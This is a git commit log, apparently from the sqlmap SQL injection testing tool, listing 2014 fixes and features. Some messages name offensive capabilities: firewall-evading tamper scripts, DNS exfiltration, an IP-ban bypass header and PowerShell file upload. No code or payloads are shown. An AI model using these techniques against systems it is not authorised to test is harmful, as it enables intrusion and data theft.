Miroslav Stampar 954bd54689 Fix for an Issue #895 2014-11-03 08:31:50 +01:00
Miroslav Stampar 05b446b95d Patch for an Issue #893 2014-11-02 23:38:52 +01:00
Miroslav Stampar 9652e41226 Path for an Issue #891 2014-11-02 23:32:19 +01:00
Miroslav Stampar 1ef2c4006d Patch for an Issue #892 2014-11-02 11:01:46 +01:00
Miroslav Stampar a4d058d70c More anonymization of unhanded exception data 2014-11-02 10:55:38 +01:00
Miroslav Stampar baf9ada28d Fix for an Issue #889 2014-11-01 17:13:33 +01:00
Miroslav Stampar 4e0e64d06b Bug fix for DNS Exfiltration in PgSQL case ('invalid URI') 2014-10-31 20:28:37 +01:00
Miroslav Stampar 49d3860b1f Minor fix 2014-10-31 20:22:15 +01:00
Miroslav Stampar ab269f315f Fix for an Issue #886 2014-10-31 18:58:30 +01:00
Miroslav Stampar 65c3dfd651 Bug fix (proper path joining) 2014-10-31 18:40:11 +01:00
Miroslav Stampar c33e493e0d Fix for an Issue #885 2014-10-31 17:06:09 +01:00
Miroslav Stampar 4de4f5c1ba Minor style fix 2014-10-31 16:59:31 +01:00
Miroslav Stampar 38978c3e54 Fix for an Issue #884 2014-10-31 16:45:26 +01:00
Miroslav Stampar 0feb379b47 Fix for an Issue #887 2014-10-31 16:39:29 +01:00
Miroslav Stampar 5b0d74146e Fix for an Issue #883 2014-10-31 01:01:35 +01:00
Miroslav Stampar b7aeb670e1 Implementation of a new MySQL error-based payload (found at RDot) 2014-10-29 10:14:01 +01:00
Miroslav Stampar 8ea22c5124 Fix for an Issue #878 2014-10-28 15:34:53 +01:00
Miroslav Stampar 67279a1136 Minor update 2014-10-28 15:30:05 +01:00
Miroslav Stampar 455ea9922c Minor update 2014-10-28 15:26:28 +01:00
Miroslav Stampar 9af6d497dc Minor bug fix 2014-10-28 15:22:54 +01:00
Miroslav Stampar 258a700b2e More anonymization of unhandled exception messages 2014-10-28 15:14:41 +01:00
Miroslav Stampar df73be32f1 Fix for an Issue #876 2014-10-28 14:41:21 +01:00
Miroslav Stampar 725c3a6a95 Minor update 2014-10-28 14:08:06 +01:00
Miroslav Stampar 3b3b8d4ef2 Potential bug fix (escaping formatted regular expressions) 2014-10-28 14:02:55 +01:00
Miroslav Stampar 268e774087 Minor refactoring 2014-10-28 13:44:55 +01:00
Miroslav Stampar f89e94fb8c Minor refactoring 2014-10-28 13:42:13 +01:00
Miroslav Stampar e08c8f272a Fix for an Issue #875 2014-10-28 13:10:07 +01:00
Miroslav Stampar 19aed90ae5 Implementation for an Issue #874 2014-10-27 00:37:46 +01:00
Miroslav Stampar 6448d3caf4 Implementing support for csrfcookie (Issue #2) 2014-10-24 09:37:51 +02:00
Miroslav Stampar 5e31229d48 Minor cosmetic update 2014-10-23 15:18:22 +02:00
Miroslav Stampar abbd352392 Support for X-CSRF-TOKEN header (Issue #2) 2014-10-23 14:33:22 +02:00
Miroslav Stampar 95f2e61ca1 Minor fix related to the Issue #2 2014-10-23 14:23:01 +02:00
Miroslav Stampar 01f4b76817 Minor update for the Issue #2 2014-10-23 14:03:44 +02:00
Miroslav Stampar 7143e61619 Minor update 2014-10-23 14:00:53 +02:00
Miroslav Stampar 32bcca0aae Basic options check for Issue #2 2014-10-23 11:54:29 +02:00
Miroslav Stampar 7fc9e82d28 Minor style update 2014-10-23 11:44:38 +02:00
Miroslav Stampar 780dbd1c64 Update for an Issue #2 2014-10-23 11:42:30 +02:00
Miroslav Stampar a52c8811e6 Minor style update 2014-10-23 11:25:44 +02:00
Miroslav Stampar fc1b05bec9 Implementation for an Issue #2 2014-10-23 11:23:53 +02:00
Miroslav Stampar 8dcad46805 Update basic.py 2014-10-22 23:16:46 +02:00
Miroslav Stampar 73a3db67eb Fix for an Issue #862 2014-10-22 14:54:49 +02:00
Miroslav Stampar 60f2764c3d Minor style update 2014-10-22 13:53:18 +02:00
Miroslav Stampar 34aed7cde0 Bug fix (now it's possible to use multiple parsed requests without mixing associated headers) 2014-10-22 13:49:29 +02:00
Miroslav Stampar 2f18df345e Minor patch 2014-10-22 13:41:36 +02:00
Miroslav Stampar 268095495e Minor patch 2014-10-22 13:32:49 +02:00
Miroslav Stampar e239fefe67 Minor patch for JSON requests 2014-10-22 10:38:49 +02:00
Miroslav Stampar a2f578dbf4 Patch to also include JSON array elements into automatic recognition 2014-10-22 10:28:10 +02:00
Miroslav Stampar 3ebc5faa34 Falling back to partial UNION if large dump connects out 2014-10-21 09:23:34 +02:00
Miroslav Stampar 1b18035eb3 Correcting language code 2014-10-14 13:00:51 +02:00
Miroslav Stampar 50e7cae915 Minor update 2014-10-14 09:32:01 +02:00
Miroslav Stampar 19b0bc5a92 Adding a Croatian translation of README.md 2014-10-14 09:31:03 +02:00
Miroslav Stampar db30b37f8a Removing translations from already translated pages (to ease the inclusion of other languages) 2014-10-14 09:00:26 +02:00
Miroslav Stampar 006d9d1859 Bug fix for a problem reported by a user via ML (--os-shell) 2014-10-13 12:00:34 +02:00
Miroslav Stampar fb65caabd2 Unhidding switch --ignore-401 2014-10-13 09:19:25 +02:00
Miroslav Stampar 6db4b29fd3 Adding contributed Greek and Chinese translations 2014-10-13 09:02:33 +02:00
Miroslav Stampar be213bc657 Bug fix for crashes caused by '--search --exclude-sysdbs --current-db' 2014-10-12 22:41:53 +02:00
Miroslav Stampar 4e3a4eb0ff Added a prompt for choosing a number of threads when in crawling mode 2014-10-10 12:09:08 +02:00
Miroslav Stampar 2aadfc0fd3 Fix for an Issue #851 2014-10-10 10:38:17 +02:00
Miroslav Stampar d4610890ca Minor patch (flushing log file output at the end of program run) 2014-10-10 10:07:17 +02:00
Miroslav Stampar 7811a958ae Another minor patch for Issue #846 2014-10-09 15:42:44 +02:00
Miroslav Stampar f94ac8c69d Second patch related to the Issue #846 2014-10-09 15:21:26 +02:00
Miroslav Stampar c823c58d47 One patch related to the Issue #846 2014-10-09 14:39:54 +02:00
Miroslav Stampar 35ed668a85 Minor improvement of the randomcase tamper script 2014-10-07 13:09:37 +02:00
Miroslav Stampar 70215a95a1 Patch for an Issue #847 2014-10-07 13:02:47 +02:00
Miroslav Stampar c6a8feea8a Fix for an Issue #831 2014-10-07 12:00:11 +02:00
Miroslav Stampar 2ab4558859 Potential fix for an Issue #846 2014-10-07 11:49:53 +02:00
Miroslav Stampar ddfec1c668 Initial patch for an Issue #846 2014-10-07 11:34:47 +02:00
Miroslav Stampar 2f37fb295b Minor fix regarding Issue #845 2014-10-07 10:31:17 +02:00
Miroslav Stampar 9d25389ef0 Minor fix regarding Issue #845 2014-10-07 10:20:40 +02:00
Miroslav Stampar 2de12ef4a2 Potential fix for an Issue #843 2014-10-05 00:20:42 +02:00
Miroslav Stampar 45122582cf Year update in COPYING 2014-10-01 14:25:54 +02:00
Miroslav Stampar fdef53aa67 Minor update of unhandled exception message 2014-10-01 14:23:45 +02:00
Miroslav Stampar a2b059123a Minor update of format exception strings 2014-10-01 14:12:30 +02:00
Miroslav Stampar e81168af0f Minor adjustment 2014-10-01 13:59:51 +02:00
Miroslav Stampar f67a38dba9 Minor adjustment 2014-10-01 13:42:10 +02:00
Miroslav Stampar a9454fbb43 Minor commit related to the last one (bypassing DBMS error trimming problem) 2014-10-01 13:35:20 +02:00
Miroslav Stampar 8c9014c39f Adding a dummy (auxiliary) XSS check 2014-10-01 13:31:48 +02:00
Miroslav Stampar 4d23744430 Bug fix (there was a problem using --tamper=varnish with --identify-waf because of same named modules) 2014-09-30 09:58:02 +02:00
Miroslav Stampar ff42720c62 Minor fix 2014-09-29 14:07:59 +02:00
Miroslav Stampar 1e636fb925 Minor patch regarding Issue #840 2014-09-28 13:38:09 +02:00
Miroslav Stampar 767c278a0f Fix for an Issue #838 2014-09-26 17:00:50 +02:00
Miroslav Stampar f272517cd2 Dealing with broken pipe (not filling terminal with traceback in that case) 2014-09-22 22:18:08 +02:00
Miroslav Stampar 6945a0a570 Changing @ with (at) in THANKS.md 2014-09-20 14:52:14 +02:00
Miroslav Stampar 46480d777a Update for an Issue #835 2014-09-20 14:48:36 +02:00
Miroslav Stampar 78965b8145 Merge pull request #835 from mmetince/master
Add random X-Forwarded-For to bypass IP Ban.
2014-09-20 14:31:26 +02:00
Miroslav Stampar 00fc842c6f Update agent.py 2014-09-20 10:20:57 +02:00
Mehmet INCE d34a57041e Add random X-Forwarded-For to bypass IP Ban. 2014-09-19 20:59:33 +03:00
Miroslav Stampar 69701ba08c Minor refactoring 2014-09-17 18:29:01 +02:00
Miroslav Stampar 09064a4a24 Minor just in case patch 2014-09-17 18:25:24 +02:00
Miroslav Stampar bbc6dd9ac8 Minor fix 2014-09-17 10:28:18 +02:00
Miroslav Stampar 6888d2fc34 Minor cosmetic update 2014-09-16 16:32:54 +02:00
Miroslav Stampar 8a92dd3aaa Minor cosmetic patch 2014-09-16 16:28:38 +02:00
Miroslav Stampar 0e8090381c Minor cosmetic update 2014-09-16 16:21:29 +02:00
Miroslav Stampar c5294f2cbb Minor patch for an Issue #832 2014-09-16 16:18:13 +02:00
Miroslav Stampar 5b0732e9f9 Minor update for Issue #832 2014-09-16 15:17:50 +02:00
Miroslav Stampar 7278af01ee Implementation for an Issue #832 2014-09-16 14:12:43 +02:00
Miroslav Stampar 57eb19377e Minor code refactoring 2014-09-16 09:07:31 +02:00
Miroslav Stampar 45f5548113 Minor update regarding shell history file 2014-09-16 08:58:25 +02:00
Miroslav Stampar ffa7e2f6e9 Minor fix 2014-09-14 22:57:41 +02:00
Miroslav Stampar 637d3cbaf7 Fix for cases when parameter name is urlencoded 2014-09-12 13:29:30 +02:00
Miroslav Stampar ae8c12c9c3 Fix for an Issue #818 2014-09-09 16:22:13 +02:00
Miroslav Stampar 90869244fd Minor update 2014-09-09 16:19:38 +02:00
Miroslav Stampar bfc8ab0e35 Language update 2014-09-08 14:48:31 +02:00
Miroslav Stampar 53d0d5bf8b Minor update (adding a warning message about potential dropping of requests because of protection mechanisms involved) 2014-09-08 14:33:13 +02:00
Miroslav Stampar 055b759145 Minor update 2014-09-03 23:13:57 +02:00
Miroslav Stampar b1467f4c1f Minor update 2014-09-03 23:09:10 +02:00
Miroslav Stampar bbf0be1f8d Bug fix (Issue #813) 2014-09-03 22:09:12 +02:00
Miroslav Stampar 112a0cb1ae Patch for output directory (using unicode for international support) 2014-09-03 21:49:30 +02:00
Miroslav Stampar af21fc513d Bug fix for HSQLDB (some queries were runnable on MySQL) 2014-09-03 21:39:38 +02:00
Miroslav Stampar 1478c206f1 Trivial update 2014-09-03 21:27:02 +02:00
Miroslav Stampar 7e40890f32 Patch for an Issue #815 2014-09-01 16:16:12 +02:00
Miroslav Stampar 25c6fca20e Minor fix 2014-09-01 15:48:00 +02:00
Miroslav Stampar d5d01e91ad Warning message 2014-08-30 22:15:14 +02:00
Miroslav Stampar 20ff402103 Minor patch 2014-08-30 22:04:55 +02:00
Miroslav Stampar dc2ee8bfa0 Minor update 2014-08-30 21:53:09 +02:00
Miroslav Stampar 177fc0376d Minor fix for HSQLDB 2014-08-30 21:37:38 +02:00
Miroslav Stampar 1a9a331422 Bug fix (proper extending of tests when dbms is known) 2014-08-30 21:34:23 +02:00
Miroslav Stampar e501b2a80b Minor patch 2014-08-30 20:58:59 +02:00
Miroslav Stampar 03c8e7b7a2 Patch for an Issue #810 2014-08-30 17:13:02 +02:00
Miroslav Stampar 77cb35dcf6 Fix for an Issue #804 2014-08-28 14:26:55 +02:00
Miroslav Stampar 9476359255 Bug fix 2014-08-28 12:50:39 +02:00
Miroslav Stampar fa1cfa21e6 Improvement to BlueCoat's tamper script 2014-08-28 12:34:15 +02:00
Miroslav Stampar 13bf338f86 Implementation for an Issue #806 2014-08-28 11:58:22 +02:00
Miroslav Stampar 2408f9c1e1 Merge pull request #803 from shipcod3/master
Create sucuri.py
2014-08-28 09:36:51 +02:00
Jay Turla 911f27116a Update sucuri.py 2014-08-28 09:23:44 +08:00
Jay Turla 539c2e2b50 Create sucuri.py
adding Sucuri WebSite Firewall detection
2014-08-28 08:53:21 +08:00
Miroslav Stampar 834f8e18c8 Minor patch for an Issue #802 2014-08-28 00:45:57 +02:00
Miroslav Stampar b77d8d617b Minor patch for an Issue #800 2014-08-28 00:31:49 +02:00
Miroslav Stampar 7595f2b73e Minor fix 2014-08-28 00:13:27 +02:00
Miroslav Stampar fce671c899 Patch for an Issue #801 2014-08-28 00:00:16 +02:00
Miroslav Stampar fd36250026 Proper fix for an Issue #757 2014-08-26 23:36:04 +02:00
Miroslav Stampar 2a268199d4 Patch for an Issue #798 2014-08-26 23:11:44 +02:00
Miroslav Stampar e68326c0fe expandAsteriskForColumns changes value of conf.db and conf.tbl potentially causing problems in further work 2014-08-26 22:57:08 +02:00
Miroslav Stampar decd092b2a Minor patch 2014-08-26 22:40:50 +02:00
Miroslav Stampar 2be0ebd883 Minor fix (e.g. Oracle identifier names can contain character $) 2014-08-26 22:40:15 +02:00
Miroslav Stampar dcaad75a1e Fix for an Issue #794 2014-08-22 15:08:05 +02:00
Miroslav Stampar d74b803306 Minor patch 2014-08-22 14:45:23 +02:00
Miroslav Stampar e0a8b89069 Minor patch when trailing space is used with comma to split option items (e.g. '-C id, name') 2014-08-22 14:19:53 +02:00
Miroslav Stampar e3a0f25db0 Patch for an Issue #795 2014-08-22 14:11:23 +02:00
Miroslav Stampar 2ce3ccac46 Patch for an Issue #797 (switching to greedy because of performance; it shouldn't be a problem because it was a single line replacement in the first place) 2014-08-22 13:06:53 +02:00
Miroslav Stampar 77513e1de9 Minor style update 2014-08-21 01:19:10 +02:00
Miroslav Stampar c5b71cff10 Some filtering 2014-08-21 01:12:44 +02:00
Miroslav Stampar 3cfdb5ff0f Removing / from auto directories (it doesn't make sense to auto-test for uploading to /) 2014-08-21 00:43:37 +02:00
Miroslav Stampar 1069399668 Minor style update 2014-08-21 00:32:15 +02:00
Miroslav Stampar acb3b1d1fe Bug fix for common table/column existence check 2014-08-21 00:12:19 +02:00
Miroslav Stampar 074b57804e Minor style update 2014-08-21 00:03:46 +02:00
Miroslav Stampar 58d93ffb2b Fix for falling back to partial union (excluding scalar queries) 2014-08-20 23:53:15 +02:00
Miroslav Stampar 90882f081d Language update 2014-08-20 23:47:57 +02:00
Miroslav Stampar 0296081692 Minor refactoring 2014-08-20 23:42:40 +02:00
Miroslav Stampar 49e8083b40 Bug fix for international letters (range in 160-255 is also printable) 2014-08-20 23:28:45 +02:00
Miroslav Stampar f51ea20bbd Minor style update 2014-08-20 22:50:00 +02:00
Miroslav Stampar 5d10bae31f Removing trailing blank lines 2014-08-20 21:07:19 +02:00
Miroslav Stampar e0216771ed Minor update 2014-08-20 15:23:07 +02:00
Miroslav Stampar c97782cfed Minor update of banner 2014-08-20 15:10:21 +02:00
Miroslav Stampar ff8bfff87a Bug fix (FreeBSD != Linux) 2014-08-20 14:45:58 +02:00
Miroslav Stampar 07f881e711 Minor fix 2014-08-20 14:02:04 +02:00
Miroslav Stampar b4fbb9cafe Minor upgrade 2014-08-20 13:52:48 +02:00
Miroslav Stampar 7828f61642 Minor style update 2014-08-20 13:35:41 +02:00
Miroslav Stampar dfa426fbb5 Minor style update 2014-08-20 13:32:32 +02:00
Miroslav Stampar 6795b51c7e Another minor update 2014-08-20 01:59:30 +02:00
Miroslav Stampar d08c1b7c04 Minor update 2014-08-20 01:45:42 +02:00
Miroslav Stampar 6caccc3d93 Bug fix for ultra-slow processing of binary data 2014-08-20 01:38:01 +02:00
Miroslav Stampar ebc964267f Better reporting on filtered-chars cases 2014-08-20 01:11:26 +02:00
Miroslav Stampar c12e51173a Minor style update 2014-08-20 00:28:33 +02:00
Miroslav Stampar 77ba63b060 Minor language update 2014-08-19 23:56:04 +02:00
Miroslav Stampar 4dd6887ea4 Fix for an Issue #793 2014-08-19 22:48:18 +02:00
Miroslav Stampar 5a05271097 Minor fix 2014-08-19 22:34:07 +02:00
Miroslav Stampar b0465a6a76 Adding a revision scheme for nongit checkouts 2014-08-19 22:32:16 +02:00
Miroslav Stampar cd92de1702 Adding colorful banner 2014-08-19 22:19:22 +02:00
Miroslav Stampar 7d578d395f Minor update for Apache on Windows 2014-08-16 16:01:18 +02:00
Miroslav Stampar a8b4b96cd9 Extending list for brute forcing doc root 2014-08-16 15:16:03 +02:00
Miroslav Stampar 30fb8e8a50 Patch regarding Issue #774 (SELECT is redundant in case of LOAD_FILE) 2014-08-16 14:23:07 +02:00
Miroslav Stampar 0fb576724e Implementation for cases when there are multiple copies/variations of the same result(s) in response for partial UNION SQLi 2014-08-13 22:50:42 +02:00
Miroslav Stampar 0809a61fc3 Bug fix (whole page output as a result of partial union runs) 2014-08-13 15:18:11 +02:00
Miroslav Stampar 0a74ae736f Probable fix for an Issue #788 2014-08-13 14:01:57 +02:00
Miroslav Stampar 5436635acb Minor update 2014-08-13 13:32:22 +02:00
Miroslav Stampar f7f47c71a1 Fix for an Issue #789 2014-08-13 13:19:03 +02:00
Miroslav Stampar 658110e644 Minor fix 2014-08-11 12:46:37 +02:00
Bernardo Damele A. G. f110bfe28a Merge pull request #779 from hydhyd/patch-1
Update settings.py
2014-08-06 10:45:42 +01:00
hydhyd e7ffe92d8c Update settings.py
Modified BRUTE_DOC_PREFIXES to include "/srv/www" used by default in OpenSUSE.
2014-08-06 12:59:18 +04:00
Bernardo Damele A. G. 2da94ba82d minor doc update 2014-08-04 16:46:01 +01:00
Miroslav Stampar 8599005115 Implementation for an Issue #771 2014-08-01 14:19:32 +02:00
Miroslav Stampar 208d51e0e9 Revert of last trigger happy commit 2014-08-01 13:57:43 +02:00
Miroslav Stampar d300f99b0b Removing a redundant code (similar check is being done upper in code) 2014-08-01 13:57:07 +02:00
Miroslav Stampar 8bc6154f06 Removing a redundant code (similar check is being done upper in code) 2014-08-01 13:53:22 +02:00
Miroslav Stampar b31e141012 Fix for an Issue #772 2014-07-29 14:37:48 +02:00
Miroslav Stampar 20d75cc52e Patch for an Issue #767 2014-07-29 13:32:26 +02:00
Miroslav Stampar 6c4c82758d Fix for an Issue #768 2014-07-29 13:26:58 +02:00
Miroslav Stampar 9fff88d6e4 Minor update 2014-07-19 23:23:55 +02:00
Miroslav Stampar 3cfa63646b Minor bug fix 2014-07-19 23:17:23 +02:00
Miroslav Stampar 0eb5fb1e5a Update for an Issue #757 2014-07-19 23:02:14 +02:00
Bernardo Damele a09e590fe8 updated regression tests 2014-07-17 17:13:09 +01:00
Miroslav Stampar cd1c100cc0 Another patch for an Issue #757 2014-07-14 21:10:45 +02:00
Miroslav Stampar e66a81ab4e Fix for an Issue #757 2014-07-11 16:24:57 +02:00
Miroslav Stampar 305ec45fc6 Update for an Issue #760 2014-07-10 08:52:32 +02:00
Miroslav Stampar 32af0b17b0 Update for an Issue #760 2014-07-10 08:49:20 +02:00
Miroslav Stampar 33b6d189cd Bug fix for some cases (in cases of working where=ORIGINAL, workflow switched to where=NEGATIVE because of false assumptions that it would be better than ORIGINAL; this kind of behaviour caused reported problems) 2014-07-07 22:22:56 +02:00
Miroslav Stampar f75df93c0e Update related to the Issue #756 2014-07-07 21:11:40 +02:00
Miroslav Stampar 65795c0b4f Merge pull request #756 from za/master
Translate GitHub README.md to Indonesian
2014-07-07 21:07:59 +02:00
Zaki Akhmad 833a51411c id-ID: translate the README to Indonesian 2014-07-07 13:42:17 +07:00
Zaki Akhmad fada2dc5c6 id-ID: initiate Indonesian translations README 2014-07-07 13:21:07 +07:00
Miroslav Stampar 79a66ef22c Minor patch 2014-07-06 09:09:44 +02:00
Miroslav Stampar a8580d67ff Merge pull request #749 from igoremuniz/master
update copyright for 2014
2014-07-03 09:03:22 +02:00
Igor Elias 8105275d9d ... 2014-07-02 21:23:25 -03:00
Igor Elias e6916bdbc6 updated copyright 2014-07-02 21:16:35 -03:00
Miroslav Stampar b5838ae7a4 Adding missing module (Issue #674 and Issue #747) 2014-07-03 00:29:20 +02:00
Miroslav Stampar 9d571c7800 Minor language update 2014-07-02 22:31:18 +02:00
Miroslav Stampar e6d0d5a1c7 Implementation for an Issue #674 2014-07-02 22:27:51 +02:00
Miroslav Stampar 1eecabaea8 Patch for an Issue #746 2014-07-02 10:11:31 +02:00
Bernardo Damele 4e909a2a05 code cleanup 2014-07-01 00:58:49 +01:00
Bernardo Damele b38bd1e7fd code cleanup - issue #742 2014-07-01 00:35:02 +01:00
Bernardo Damele 018748f52e increase the timeout for the Metasploit session initialization to 5 minutes, better on slow speed connections 2014-07-01 00:34:09 +01:00
Bernardo Damele 5c64a31a9c works now.. can upload arbitrary files via powershell now, closes #742 2014-07-01 00:26:59 +01:00
Bernardo Damele 3e431ec202 working on allowing large files to be uploaded via powershell - issue #742 2014-06-30 23:53:04 +01:00
Miroslav Stampar e34be17255 Merge pull request #744 from cbrunnkvist/master
Random means no User-Agent
2014-06-30 22:33:34 +02:00
Bernardo Damele 1218e694ef more on issue #742 2014-06-30 20:43:48 +01:00
Bernardo Damele 8ce98ae22c more on issue #742 2014-06-30 20:43:02 +01:00
Bernardo Damele 0c1b3f2dbc more on issue #742 2014-06-30 20:39:21 +01:00
Bernardo Damele ce67156d80 trying some more encoding as the file wasnt exactly the same - issue #742 2014-06-30 20:26:05 +01:00
Bernardo Damele 3ec37b14a6 trying some more encoding as the file wasnt exactly the same - issue #742 2014-06-30 20:23:57 +01:00
Bernardo Damele 9c583bc96e trying some more encoding as the file wasnt exactly the same - issue #742 2014-06-30 20:23:01 +01:00
Bernardo Damele 5c4c4c6abe minor cleanup, prefer powershell to the other two techniques to upload files - issue #742 2014-06-30 19:11:01 +01:00
Bernardo Damele fcc50193b3 working on #742 - working on it 2014-06-30 18:50:33 +01:00
Bernardo Damele 4be0b366eb working on #742 - working on it 2014-06-30 18:38:18 +01:00
Conny Brunnkvist f0e23c9441 Use the selected random User-Agent 2014-07-01 00:27:14 +07:00
Bernardo Damele 6999c3413c working on #742 - working on it 2014-06-30 18:26:40 +01:00
Bernardo Damele aa076013a7 working on #742 - minor fixes 2014-06-30 18:18:14 +01:00
Bernardo Damele 563c73c4c7 working on #742 - code cleanup 2014-06-30 18:09:11 +01:00
Bernardo Damele 94c09019fd working on #742 - missing import 2014-06-30 18:07:45 +01:00
Bernardo Damele cd260a7470 working on #742 - powershell support for file write on MSSQL 2014-06-30 18:06:19 +01:00
Bernardo Damele e2aed41c6f minor fixed 2014-06-30 17:30:20 +01:00
Miroslav Stampar c2f14e57e7 Patch for an Issue #740 2014-06-29 00:27:23 +02:00
Miroslav Stampar 686fe4d0e9 Another patch for DNS exfiltration and boolean checks 2014-06-27 14:22:00 +02:00
Miroslav Stampar 8e660e6911 Minor fix 2014-06-27 14:14:29 +02:00
Miroslav Stampar 2f8d17bcb7 Appendix to last commit 2014-06-27 13:45:40 +02:00
Miroslav Stampar 75279ea75a Fix for DNS exfiltration of boolean checks 2014-06-27 13:07:34 +02:00
Miroslav Stampar ac43051df2 Patch for an Issue #553 2014-06-23 21:24:45 +02:00
Miroslav Stampar 5b5a765f96 Patch for an Issue #734 2014-06-23 12:24:08 +02:00
Miroslav Stampar 11dee4c8cd Patch for an Issue #731 2014-06-22 00:19:10 +02:00
Miroslav Stampar a47072eced Patch for an Issue #732 2014-06-22 00:09:08 +02:00
Miroslav Stampar 2a88436417 Patch for an Issue #724 2014-06-16 09:51:24 +02:00
Miroslav Stampar f558b800ac Patch for an Issue #719 2014-06-12 09:08:55 +02:00
Miroslav Stampar 2beeb178fb Minor patch 2014-06-12 08:56:50 +02:00
Miroslav Stampar 295b2f8603 Merge pull request #714 from securitygeneration/patch-1
Modified regex to be case insensitive
2014-06-10 21:59:14 +02:00
Miroslav Stampar c50560c3a6 Patch for an Issue #716 2014-06-10 21:57:54 +02:00
Miroslav Stampar 5e9334ab79 Implementation for an Issue #715 2014-06-08 23:55:15 +02:00
securitygeneration 5659eeec10 Modified regex to be case insensitive
Changed the regular expression to be case insensitive so that it works with the randomcase.py tamper script.
2014-06-08 19:14:38 +01:00
Miroslav Stampar dac386735a Patch for an Issue #713 2014-06-08 12:34:12 +02:00
Miroslav Stampar 54be398e83 Patch for an Issue #711 2014-06-04 16:35:07 +02:00
Miroslav Stampar 27ebc02535 Minor fix (user reported problem via email) 2014-05-29 09:33:14 +02:00
Miroslav Stampar 0f10cdfa4c Minor update 2014-05-29 09:24:09 +02:00
Miroslav Stampar 9e02816cbd Raising number of used md5 digits in hashdb key value because of birthday paradox (Python can handle it - automatically expanding to long if required; SQLite can handle it - it will use 6 bytes per INTEGERs instead of 4) 2014-05-29 09:21:48 +02:00
Miroslav Stampar 680ab10ca6 Patch for an Issue #703 2014-05-27 21:41:07 +02:00
Miroslav Stampar 8b341e86fa Merge pull request #701 from mwulftange/derived-table-boundaries
Add boundary checks for derived tables in FROM clause
2014-05-26 13:44:25 +02:00
Markus Wulftange cf4e0c755b Add boundary checks for derived tables in FROM clause 2014-05-24 17:25:11 +02:00
Miroslav Stampar 2d5461d250 Minor fix (related to the unknown encoding reported by ML) 2014-05-22 09:03:14 +02:00
Miroslav Stampar 65c4ea1562 Minor update 2014-05-20 22:30:53 +02:00
Miroslav Stampar 24954776a5 Patch for an Issue #697 2014-05-20 22:00:26 +02:00
Miroslav Stampar babe49f086 Minor update (added new warning message) 2014-05-20 17:14:40 +02:00
Miroslav Stampar 401f896175 Patch related to the Issue #696 2014-05-20 13:44:10 +02:00
Miroslav Stampar 67115ed558 Minor fix (for a bug reported via ML) 2014-05-17 15:00:09 +02:00
Miroslav Stampar c181e909b5 Minor fix 2014-05-16 23:47:00 +02:00
Miroslav Stampar c51e219cc1 Fix for an Issue #691 2014-05-15 19:39:18 +02:00
Miroslav Stampar fc3c321b01 Minor update 2014-05-15 19:08:41 +02:00
Miroslav Stampar 0f581ccb6c Minor fix 2014-05-13 15:36:28 +02:00
Miroslav Stampar 4e8b41b869 Patch for an Issue #688 2014-05-13 00:50:36 +02:00
Miroslav Stampar 3a2916724c Minor style update 2014-05-11 17:12:15 +02:00
Miroslav Stampar a72d73804e Revert of 9255174890 (bug was introduced with it) 2014-05-10 01:31:44 +02:00
Miroslav Stampar 93bf8e2a13 Bug fix 2014-05-10 01:11:19 +02:00
Miroslav Stampar 8f0807d7f9 Another fix related to the last commit 2014-05-09 22:55:16 +02:00
Miroslav Stampar 5eae002084 Minor fix 2014-05-09 22:45:43 +02:00
Miroslav Stampar 9255174890 Minor fix 2014-05-09 22:39:56 +02:00
Miroslav Stampar 5c4e4d18ee Update for an Issue #686 2014-05-07 09:35:45 +02:00
Miroslav Stampar 5755290f98 Update for an Issue #686 2014-05-07 09:29:01 +02:00
Miroslav Stampar 6a3d7f28f1 Update for an Issue #686 2014-05-07 09:21:00 +02:00
Miroslav Stampar bc4369be06 Fix for an Issue #687 2014-05-07 09:16:17 +02:00
Bernardo Damele A. G. 73f79f5481 Merge pull request #686 from viniciusmarangoni/master
Update README-por.md
2014-05-06 07:55:01 +00:00
Vinícius Henrique Marangoni 99f852e770 Update README-por.md 2014-05-06 00:43:34 -03:00
Miroslav Stampar ae5325ed31 Minor update regarding Issue #684 2014-05-05 22:17:01 +02:00
Miroslav Stampar 2c586e8ef6 Merge pull request #684 from viniciusmarangoni/master
Create README-Portugues.md in doc folder
2014-05-05 22:14:35 +02:00
Vinícius Henrique Marangoni 9ea9c19b55 Create README-Portugues.md 2014-05-05 02:35:32 -03:00
Miroslav Stampar e7bc57b00b Fix for an Issue #683 2014-05-04 20:44:11 +02:00
Miroslav Stampar 2a55f75f86 Using a more generic XML recognition regex 2014-04-30 21:25:45 +02:00
Miroslav Stampar 2e96e3c924 Adding a hidden switch --ignore-401 2014-04-29 23:26:45 +02:00
Miroslav Stampar bd16bb7a6a Adding an appropriate warning message 2014-04-27 22:48:28 +02:00
Miroslav Stampar eb8e31c23f Adding a failsafe output directory 2014-04-27 22:40:41 +02:00
Miroslav Stampar b54651b5a2 Minor patch (while saving configuration file) 2014-04-25 09:32:57 +02:00
Miroslav Stampar ae8b1fe89c Implementation for an Issue #678 2014-04-25 09:17:10 +02:00
Miroslav Stampar efa3c3e451 Minor improvement of between tamper script 2014-04-22 11:04:28 +02:00
Miroslav Stampar 6fd3c27f70 Update for an Issue #672 2014-04-22 08:48:12 +02:00
Miroslav Stampar e0fb21c26a Patch for an Issue #673 2014-04-21 21:57:30 +02:00
Miroslav Stampar f29769b7d0 Minor patch 2014-04-16 09:06:17 +02:00
Miroslav Stampar ef5ce7e66c Fix for an Issue #670 2014-04-12 17:22:47 +02:00
Miroslav Stampar fd884ec67b Adding another comment 2014-04-12 17:22:47 +02:00
Miroslav Stampar b5cca742e4 Adding a comment 2014-04-12 17:22:47 +02:00
Bernardo Damele A. G. f07bdcfda1 Update README.md
markdown syntax fix
2014-04-11 14:15:17 +00:00
Miroslav Stampar 7f371c499d Commit related to the last one 2014-04-10 21:29:59 +02:00
Miroslav Stampar 096ce7881e Minor beauty patch 2014-04-10 21:18:24 +02:00
Miroslav Stampar 0d1690de61 Minor fix 2014-04-10 21:18:24 +02:00
Miroslav Stampar 1e8349eeaa Minor fix 2014-04-10 21:18:24 +02:00
Bernardo Damele 78ab525966 minor fix to Oracle payloads 2014-04-09 12:31:52 +00:00
Bernardo Damele 42bde5328d minor fix 2014-04-09 12:29:52 +00:00
Bernardo Damele a5aa1c2f94 some more common output for Oracle banner 2014-04-09 12:20:52 +00:00
Bernardo Damele 7f5ea24590 added a few common outputs for --predict-output 2014-04-09 12:14:33 +00:00
Bernardo Damele 9b0662d1a9 added new Oracle time-based payloads 2014-04-09 12:14:16 +00:00
Miroslav Stampar 2d3a74a0fe Patch for an Issue #667 2014-04-07 21:01:40 +02:00
Miroslav Stampar cb0044b2c4 Minor beauty patch 2014-04-07 20:28:17 +02:00
